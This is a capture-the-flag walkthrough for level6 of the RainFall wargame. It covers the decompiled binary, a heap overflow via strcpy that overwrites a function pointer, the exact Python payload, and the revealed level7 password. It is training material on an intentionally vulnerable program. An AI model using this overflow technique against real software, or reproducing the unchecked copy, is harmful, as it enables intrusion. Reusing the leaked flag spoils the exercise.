./level6

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE        No RPATH   No RUNPATH   /home/user/level6/level6

level6@RainFall:~$
```

Decompiled file with ***Ghidra***:

```c
void n(void)
{
    system("/bin/cat /home/user/level7/.pass");
    return;
}

void m(void *param_1, int param_2, char *param_3, int param_4, int param_5)
{
    puts("Nope");
    return;
}

void main(int argc, char **argv)
{
    char *buffer;
    void (**funcPtr)();

    buffer = (char *)malloc(64);
    funcPtr = (void (**)())malloc(4);
    *funcPtr = m;
    strcpy(buffer, argv[1]);
    (**funcPtr)();
    return;
}
```

This time, our main function allocates a **buffer** of 64 bytes and also allocates space for a **function pointer**.

The **funcPtr** points to the **m()** function, which currently does nothing.

We need to modify it so that it points to the **n()** function, which will execute the **cat** command on the *level7* **.pass** file.

./level6²

First, we will find the address of the **n()** function:

```
(gdb) print &n
0x8048454 <n>
```

Since **strcpy** does not check **buffer** boundaries, we can *overflow* the buffer using **argv[1]** and **overwrite** the **funcPtr** value to point to the **n()** function. Both **buffer** and **funcPtr** are located in the heap, and since **funcPtr** was declared after the **buffer**, they are contiguous in memory.

Because **malloc()** pads out the memory allocated to multiples of 8 bytes, when the **funcPtr** **malloc(4)** allocates memory, it provides 8 bytes for user data. Before this user data, it reserves another 8 bytes for internal *bookkeeping*, which typically includes **metadata** about the size of the allocation and possibly pointers for managing free blocks in the **heap**.

Therefore, to reach the **funcPtr** after the buffer, we need to write 64 characters to fill the **buffer**, then an additional 8 bytes to **override** the bookkeeping data, before we can **overwrite** the value of **funcPtr**.

```
level6@RainFall:~$ ./level6 $(python -c 'print "A"*72 + "\x54\x84\x04\x08"');

f73dcb7a06f60e3ccc608990b0a046359d42a1a0489ffeefd0d9cb2d7c9cb82d

level6@RainFall:~$ su level7
Password: f73dcb7a06f60e3ccc608990b0a046359d42a1a0489ffeefd0d9cb2d7c9cb82d

level7@RainFall:~$
```